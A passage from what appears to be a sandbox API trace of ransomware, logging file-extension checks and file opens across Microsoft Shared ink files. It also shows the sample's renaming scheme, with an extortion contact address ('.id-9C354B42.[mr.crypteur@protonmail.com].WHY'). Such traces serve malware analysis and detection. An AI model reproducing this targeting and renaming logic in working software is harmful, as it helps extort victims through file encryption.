(lpString1=".ppt", lpString2=".avi") returned 1 [0072.099] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.100] lstrlenW (lpString=".zip") returned 4 [0072.100] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.100] lstrlenW (lpString=".rar") returned 4 [0072.100] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.100] lstrlenW (lpString=".bz2") returned 4 [0072.100] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.100] lstrlenW (lpString=".7z") returned 3 [0072.100] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.100] lstrlenW (lpString=".dbf") returned 4 [0072.100] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.100] lstrlenW (lpString=".1cd") returned 4 [0072.100] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.100] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.101] lstrlenW (lpString=".jpg") returned 4 [0072.101] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.101] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.101] lstrlenW (lpString=".doc") returned 4 [0072.101] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.101] lstrlenW (lpString=".docx") returned 5 [0072.101] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0072.101] lstrlenW (lpString=".pdf") returned 4 [0072.101] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.101] lstrlenW (lpString=".xls") returned 4 [0072.102] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.102] lstrlenW (lpString=".xlsx") returned 5 [0072.102] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0072.102] lstrlenW (lpString=".ppt") returned 4 [0072.102] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.102] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.102] lstrlenW (lpString=".zip") returned 4 [0072.102] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.102] lstrlenW (lpString=".rar") returned 4 [0072.102] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.102] lstrlenW (lpString=".bz2") returned 4 [0072.102] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.103] lstrlenW (lpString=".7z") returned 3 [0072.103] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.103] lstrlenW (lpString=".dbf") returned 4 [0072.103] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.103] lstrlenW (lpString=".1cd") returned 4 [0072.103] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0072.103] lstrlenW (lpString=".jpg") returned 4 [0072.103] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.104] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0072.104] lstrlenW (lpString="correct.avi") returned 11 [0072.104] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0072.104] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=197120) returned 1 [0072.105] CloseHandle (hObject=0x1a4) returned 1 [0072.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0072.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.105] lstrlenW (lpString=".doc") returned 4 [0072.106] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.106] lstrlenW (lpString=".docx") returned 5 [0072.106] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0072.107] lstrlenW (lpString=".pdf") returned 4 [0072.107] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.107] lstrlenW (lpString=".xls") returned 4 [0072.107] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.107] lstrlenW (lpString=".xlsx") returned 5 [0072.107] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0072.107] lstrlenW (lpString=".ppt") returned 4 [0072.107] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.107] lstrlenW (lpString=".zip") returned 4 [0072.107] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.107] lstrlenW (lpString=".rar") returned 4 [0072.107] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.108] lstrlenW (lpString=".bz2") returned 4 [0072.108] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.108] lstrlenW (lpString=".7z") returned 3 [0072.108] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.108] lstrlenW (lpString=".dbf") returned 4 [0072.108] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.108] lstrlenW (lpString=".1cd") returned 4 [0072.108] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.108] lstrlenW (lpString=".jpg") returned 4 [0072.109] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.109] lstrlenW (lpString=".doc") returned 4 [0072.109] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.109] lstrlenW (lpString=".docx") returned 5 [0072.109] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0072.109] lstrlenW (lpString=".pdf") returned 4 [0072.109] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.109] lstrlenW (lpString=".xls") returned 4 [0072.109] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.109] lstrlenW (lpString=".xlsx") returned 5 [0072.110] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0072.110] lstrlenW (lpString=".ppt") returned 4 [0072.110] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.110] lstrlenW (lpString=".zip") returned 4 [0072.110] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.110] lstrlenW (lpString=".rar") returned 4 [0072.110] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.110] lstrlenW (lpString=".bz2") returned 4 [0072.110] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.110] lstrlenW (lpString=".7z") returned 3 [0072.110] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.111] lstrlenW (lpString=".dbf") returned 4 [0072.111] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.111] lstrlenW (lpString=".1cd") returned 4 [0072.111] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.111] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\correct.avi") returned 68 [0072.111] lstrlenW (lpString=".jpg") returned 4 [0072.111] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.112] lstrcmpiW (lpString1=".avi", lpString2=".WHY") returned -1 [0072.112] lstrlenW (lpString="delete.avi") returned 10 [0072.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0072.436] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=224256) returned 1 [0072.436] CloseHandle (hObject=0x210) returned 1 [0072.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0072.436] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.437] lstrlenW (lpString=".doc") returned 4 [0072.437] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.437] lstrlenW (lpString=".docx") returned 5 [0072.437] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0072.437] lstrlenW (lpString=".pdf") returned 4 [0072.437] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.438] lstrlenW (lpString=".xls") returned 4 [0072.438] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.438] lstrlenW (lpString=".xlsx") returned 5 [0072.438] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0072.438] lstrlenW (lpString=".ppt") returned 4 [0072.438] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.438] lstrlenW (lpString=".zip") returned 4 [0072.438] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.438] lstrlenW (lpString=".rar") returned 4 [0072.438] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.438] lstrlenW (lpString=".bz2") returned 4 [0072.438] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.438] lstrlenW (lpString=".7z") returned 3 [0072.439] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.439] lstrlenW (lpString=".dbf") returned 4 [0072.439] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.439] lstrlenW (lpString=".1cd") returned 4 [0072.439] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.439] lstrlenW (lpString=".jpg") returned 4 [0072.439] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.439] lstrlenW (lpString=".doc") returned 4 [0072.440] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0072.440] lstrlenW (lpString=".docx") returned 5 [0072.440] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0072.440] lstrlenW (lpString=".pdf") returned 4 [0072.440] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0072.440] lstrlenW (lpString=".xls") returned 4 [0072.440] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0072.440] lstrlenW (lpString=".xlsx") returned 5 [0072.440] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0072.440] lstrlenW (lpString=".ppt") returned 4 [0072.440] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0072.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.440] lstrlenW (lpString=".zip") returned 4 [0072.440] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0072.441] lstrlenW (lpString=".rar") returned 4 [0072.441] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0072.441] lstrlenW (lpString=".bz2") returned 4 [0072.441] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0072.441] lstrlenW (lpString=".7z") returned 3 [0072.441] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0072.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.441] lstrlenW (lpString=".dbf") returned 4 [0072.441] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0072.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.441] lstrlenW (lpString=".1cd") returned 4 [0072.441] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0072.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\delete.avi") returned 67 [0072.441] lstrlenW (lpString=".jpg") returned 4 [0072.442] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0072.442] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.442] lstrlenW (lpString="auxpad.xml") returned 10 [0072.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0072.861] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=212) returned 1 [0072.861] CloseHandle (hObject=0x1e4) returned 1 [0072.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0072.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.862] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.862] lstrlenW (lpString=".doc") returned 4 [0072.862] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.862] lstrlenW (lpString=".docx") returned 5 [0072.862] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0072.862] lstrlenW (lpString=".pdf") returned 4 [0072.862] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.862] lstrlenW (lpString=".xls") returned 4 [0072.862] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.862] lstrlenW (lpString=".xlsx") returned 5 [0072.863] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0072.863] lstrlenW (lpString=".ppt") returned 4 [0072.863] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.863] lstrlenW (lpString=".zip") returned 4 [0072.863] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.863] lstrlenW (lpString=".rar") returned 4 [0072.863] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.863] lstrlenW (lpString=".bz2") returned 4 [0072.863] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.863] lstrlenW (lpString=".7z") returned 3 [0072.863] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.863] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.863] lstrlenW (lpString=".dbf") returned 4 [0072.864] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.864] lstrlenW (lpString=".1cd") returned 4 [0072.864] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.864] lstrlenW (lpString=".jpg") returned 4 [0072.864] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.864] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.864] lstrlenW (lpString=".doc") returned 4 [0072.864] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.864] lstrlenW (lpString=".docx") returned 5 [0072.865] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0072.865] lstrlenW (lpString=".pdf") returned 4 [0072.865] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.865] lstrlenW (lpString=".xls") returned 4 [0072.865] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.865] lstrlenW (lpString=".xlsx") returned 5 [0072.865] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0072.865] lstrlenW (lpString=".ppt") returned 4 [0072.865] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.865] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.865] lstrlenW (lpString=".zip") returned 4 [0072.865] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.865] lstrlenW (lpString=".rar") returned 4 [0072.865] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.866] lstrlenW (lpString=".bz2") returned 4 [0072.866] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.866] lstrlenW (lpString=".7z") returned 3 [0072.866] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.866] lstrlenW (lpString=".dbf") returned 4 [0072.866] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.866] lstrlenW (lpString=".1cd") returned 4 [0072.866] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.866] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0072.867] lstrlenW (lpString=".jpg") returned 4 [0072.867] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.867] lstrcmpiW (lpString1=".xml", lpString2=".WHY") returned 1 [0072.867] lstrlenW (lpString="base_altgr.xml") returned 14 [0072.867] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0072.902] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x28fff1c | out: lpFileSize=0x28fff1c*=3161) returned 1 [0072.902] CloseHandle (hObject=0x1c8) returned 1 [0072.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0072.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0072.903] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0072.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.903] lstrlenW (lpString=".doc") returned 4 [0072.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.903] lstrlenW (lpString=".docx") returned 5 [0072.903] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0072.904] lstrlenW (lpString=".pdf") returned 4 [0072.904] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.904] lstrlenW (lpString=".xls") returned 4 [0072.904] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.904] lstrlenW (lpString=".xlsx") returned 5 [0072.904] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0072.904] lstrlenW (lpString=".ppt") returned 4 [0072.904] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.904] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.904] lstrlenW (lpString=".zip") returned 4 [0072.904] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.904] lstrlenW (lpString=".rar") returned 4 [0072.904] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.904] lstrlenW (lpString=".bz2") returned 4 [0072.905] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.905] lstrlenW (lpString=".7z") returned 3 [0072.905] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0072.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.905] lstrlenW (lpString=".dbf") returned 4 [0072.905] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0072.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.905] lstrlenW (lpString=".1cd") returned 4 [0072.905] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0072.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.905] lstrlenW (lpString=".jpg") returned 4 [0072.905] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0072.905] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.906] lstrlenW (lpString=".doc") returned 4 [0072.906] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.906] lstrlenW (lpString=".docx") returned 5 [0072.906] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0072.906] lstrlenW (lpString=".pdf") returned 4 [0072.906] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.906] lstrlenW (lpString=".xls") returned 4 [0072.906] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.906] lstrlenW (lpString=".xlsx") returned 5 [0072.906] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0072.906] lstrlenW (lpString=".ppt") returned 4 [0072.906] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0072.906] lstrlenW (lpString=".zip") returned 4 [0072.907] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.907] lstrlenW (lpString=".rar") returned 4 [0072.907] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.907] lstrlenW (lpString=".bz2") returned 4 [0072.907] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.907] 